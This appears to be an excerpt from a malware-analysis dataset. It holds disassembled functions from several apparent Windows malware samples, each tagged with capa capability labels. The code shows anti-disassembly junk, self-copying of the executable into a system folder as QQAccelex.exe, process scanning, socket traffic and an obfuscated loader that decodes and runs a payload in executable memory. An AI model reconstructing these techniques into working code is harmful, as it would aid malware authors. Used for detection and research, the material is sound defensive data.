joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check mutex on windows

Disassembly:
push esi
xor esi, esi
push str.DE622D185C1BC760E40CCDB249B95612
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jnp 0x40102d
jp 0x40102d
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
test eax, eax
je 0x401043
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 1
je 0x401045
mov eax, esi
pop esi
ret

Function at 0x401050
Capabilities:
Create directory
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
jnp 0x401079
jp 0x401079
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
push 1
lea eax, [ebp - 0x104]
push 0x1a
push eax
push 0
call esi
cmp eax, 1
je 0x4010e7
jnp 0x4010b2
jp 0x4010b2
popal
popal
popal
popal
push 1
lea ecx, [ebp - 0x104]
push 0x23
push ecx
push 0
call esi
cmp eax, 1
je 0x4010e7
lea edx, [ebp - 0x104]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x104]
push edx
push 0x104
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40120a
push ebx
jnp 0x401114
jp 0x401114
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov edi, 0x406064
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x104]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, str.QQAccelex.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x104]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jnp 0x40119b
jp 0x40119b
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
lea eax, [ebp - 0x104]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jnp 0x4011d3
jp 0x4011d3
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
lea edx, [ebp - 0x208]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x208]
push 0x104
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
lea ecx, [ebp - 0x208]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
or ebx, 0xffffffff
jnp 0x4013e4
jp 0x4013e4
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40147a
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [ebp - 0x128]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40146a
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [ebp - 0x104]
push str.explorer.exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x401464
lea edx, [ebp - 0x128]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40146a
lea eax, [ebp - 0x104]
push str.explorer.exe
push eax
call edi
add esp, 8
test eax, eax
jne 0x40143e
mov ebx, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401490
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
call fcn.004013c0
mov dword [ebp - 4], eax
xor bl, bl
jnp 0x4014b8
jp 0x4014b8
popal
popal
popal
popal
popal
popal
popal
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401535
push edi
mov ecx, 0x4a
xor eax, eax
lea edi, [ebp - 0x12c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401525
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
cmp eax, dword [ebp - 0x124]
jne 0x401510
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x114]
cmp ecx, eax
je 0x401523
lea edx, [ebp - 0x12c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401525
jmp 0x4014f9
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 4], 0x648
mov dword [ebp - 8], 0
jnp 0x401925
jp 0x401925
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0xc], ebx
je 0x401a45
mov ecx, dword [ebp - 4]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jnp 0x40196c
jp 0x40196c
popal
popal
popal
popal
lea eax, [ebp - 4]
push eax
push ebx
call sub.iphlpapi.dll_GetNetworkParams
test eax, eax
je 0x40198d
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
test edx, edx
je 0x4019be
lea edi, [ebx + 0x110]
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 8], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jnp 0x4019dd
jp 0x4019dd
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov ebx, dword [ebx + 0x10c]
test ebx, ebx
je 0x401a32
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
shl edx, 4
add edx, eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x401a2c
cmp dword [ebp - 8], 0x80
jae 0x401a2c
lea edi, [ebx + 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 8]
inc ecx
add edx, 0x10
mov dword [ebp - 8], ecx
mov ebx, dword [ebx]
test ebx, ebx
jne 0x4019f2
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401d70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [0x4062f0]
push esi
push edi
mov ecx, 0x43
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jnp 0x401da6
jp 0x401da6
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov ax, word [0x4062f4]
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x100
mov word [ebx], ax
call edi
push 1
mov word [ebx + 2], ax
call edi
mov word [ebx + 4], ax
xor eax, eax
push 1
mov word [ebx + 6], ax
mov word [ebx + 8], ax
mov word [ebx + 0xa], ax
call edi
push 1
mov dword [ebp - 4], eax
call edi
mov edi, dword [ebp + 0x18]
mov dword [ebp - 8], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
and ecx, 0xffff
add ecx, 2
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
mov dword [ebp - 0xc], esi
jne 0x401e16
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x18]
add edi, 2
push edi
push esi
push edx
call fcn.00401a50
add esp, 0xc
test eax, eax
jne 0x401e32
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jnp 0x401e52
jp 0x401e52
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add ebx, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov eax, ecx
inc eax
mov dword [ebp + 0x18], eax
and eax, 0xffff
mov ecx, eax
add ebx, eax
mov edx, ecx
mov ax, word [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov cx, word [ebp - 8]
mov word [ebx], ax
mov word [ebx + 2], cx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [ebp + 8]
mov ecx, dword [0x4062f0]
mov edx, dword [0x4062fc]
push 0x10
push eax
mov eax, dword [ebp + 0x18]
push 0
add ax, 0x10
and eax, 0xffff
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402220
Capabilities:
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
push esi
push edi
jnp 0x402248
jp 0x402248
popal
popal
popal
popal
popal
popal
popal
iretd
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
je 0x40236a
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x4062fc], eax
je 0x40236a
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [0x4062fc]
push 1
push eax
push ecx
mov dword [0x4062f8], eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0x10f
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [0x4062f0], eax
test eax, eax
je 0x40236a
jnp 0x4022c8
jp 0x4022c8
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, dword [ebp + 8]
push 0x35
mov word [0x4062f4], ax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp + 0xc]
mov word [ebp - 0xe], ax
mov edi, dword [ebp - 0x10]
push edx
sub esp, 0x10
mov ebx, dword [ebp - 8]
mov eax, esp
mov ecx, dword [ebp - 4]
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
call fcn.00401d70
add esp, 0x14
test eax, eax
je 0x40235c
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push edx
mov edx, dword [ebp + 0x18]
push eax
push ecx
push edx
sub esp, 0x10
mov ecx, dword [ebp - 4]
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], esi
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
call fcn.00401ee0
add esp, 0x20
test eax, eax
je 0x40235c
mov edx, dword [0x4062f0]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4062f0]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4024d0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
jnp 0x4024f8
jp 0x4024f8
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
push str.www.hao123.com
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40254b
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40254b
jnp 0x402530
jp 0x402530
popal
popal
popal
popal
push str.www.hao123.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40254b
mov ecx, dword [eax + 0xc]
pop esi
mov edx, dword [ecx]
mov eax, dword [edx]
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
or ebx, 0xffffffff
jnp 0x40258c
jp 0x40258c
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x4025aa
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
jnp 0x4025c7
jp 0x4025c7
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x402677
push edi
push str.127.0.0.1
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x830f
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
jnp 0x402615
jp 0x402615
popal
popal
popal
popal
popal
popal
popal
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40266f
mov edi, dword [ebp + 8]
push 0
push 0x1000
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0x1000
jne 0x40266f
jnp 0x40265b
jp 0x40265b
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
popal
push 0
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x1000
jne 0x40266f
xor ebx, ebx
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001408
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x100144b
push esi
lea ecx, [eax + 8]
call dword [sym.imp.ulib.dll_public:_class_WSTRING____thiscall_PATH::QueryFullPathString_void_const]
mov esi, eax
cmp esi, ebx
je 0x100144a
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x1001442
cmp word [eax], bx
je 0x1001442
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1001442
test ah, 0x10
je 0x1001442
mov bl, 1
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
pop esi
mov al, bl
pop ebx
ret 4

Function at 0x1006427
Capabilities:
Encode data using xor

Disassembly:
enter 0, 0
pushal
mov ebx, 0x7fffffff
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, esi
imul eax, edx, 0x10dcd
add eax, 0x116c5
xor edx, edx
div ebx
lodsd eax, dword [esi]
xor eax, edx
stosd dword es:[edi], eax
loop 0x100643c
popal
leave
ret 0xc
Function at 0x40607d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422274], 0
push esi
jne 0x4060b4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40608e
mov dword [ecx*4 + 0x422270], eax
inc ecx
cmp ecx, 0x100
jl 0x406089
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4060e5
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422270]
xor eax, esi
inc ecx
dec edx
jne 0x4060c7
pop edi
not eax
pop esi
ret 0xc

Function at 0x418cc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x12000]
push edi
or ebp, 0xffffffff
jmp 0x418ce2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x418ce9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x418cd8
mov eax, 1
add ebx, ebx
jne 0x418cfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x418cf0
jne 0x418d0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x418cf0
xor ecx, ecx
sub eax, 3
jb 0x418d20
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x418d92
mov ebp, eax
add ebx, ebx
jne 0x418d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x418d38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x418d5c
inc ecx
add ebx, ebx
jne 0x418d48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x418d3d
jne 0x418d59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x418d3d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x418d7c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x418d6d
jmp 0x418cde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x418d7c
add edi, ecx
jmp 0x418cde
pop esi
mov edi, esi
mov ecx, 0x455
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x418d9a
cmp byte [edi], 0
jne 0x418d9a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x418d9f
lea edi, [esi + 0x16000]
mov eax, dword [edi]
or eax, eax
je 0x418e0e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d208]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d290]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x418dcc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d298]
or eax, eax
je 0x418e08
mov dword [ebx], eax
add ebx, 4
jmp 0x418de9
call dword [esi + 0x1d294]
mov ebp, dword [esi + 0x1d29c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x418e42
sub esp, 0xffffff80
jmp 0x409b60
Function at 0x10005320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000532f
pop dword [ebp - 0x10]
mov eax, 0x1000532f
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x298b7036
sub dword [ebp - 0x20], 0xdb392aeb
mov dword [ebp - 0x1c], 0x9d352c3f
sub dword [ebp - 0x1c], 0x6b01dffa
mov dword [ebp - 0x18], 0xa97acccb
sub dword [ebp - 0x18], 0x5d2e889d
mov dword [ebp - 0x14], 0x332f7ebb
sub dword [ebp - 0x14], 0x332f7ebb
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4267c132
sub dword [ebp - 0x20], 0xcdf557dc
mov dword [ebp - 0x1c], 0xb76bfda2
add dword [ebp - 0x1c], 0x8a0063d3
mov dword [ebp - 0x18], 0xa4f779f3
add dword [ebp - 0x18], 0xbe77f279
mov dword [ebp - 0x14], 0x3d3bca6c
add dword [ebp - 0x14], 0xc2c43594
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x7ff14ea5
sub eax, 0x6fed4e75
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x419eb
push 0
call eax
mov ecx, 0xaefb4250
add ecx, 0x5104f2d5
mov ebx, eax
mov esi, 0x86519961
add esi, 0x89b3d49f
add esi, dword [ebp - 0x10]
mov edi, 0x87e418b2
sub edi, 0xfd83ebcd
xor dword [ebp - 8], edi
mov edx, dword [esi]
xor dword [ebp - 0xc], 0x302f59b3
sub edx, edi
sub dword [ebp - 8], 0xb79a61fd
mov dword [ebx], edx
add ebx, 4
add esi, 0x5287c3d8
add esi, 0xad783c2c
loop 0x10005447
add eax, 0xc767
mov ebx, eax
add eax, 0x5b55ea5c
sub eax, 0x5b55ea57
mov ecx, 0x3909ffa6
add ecx, 0xd6f6005a
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10005320
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4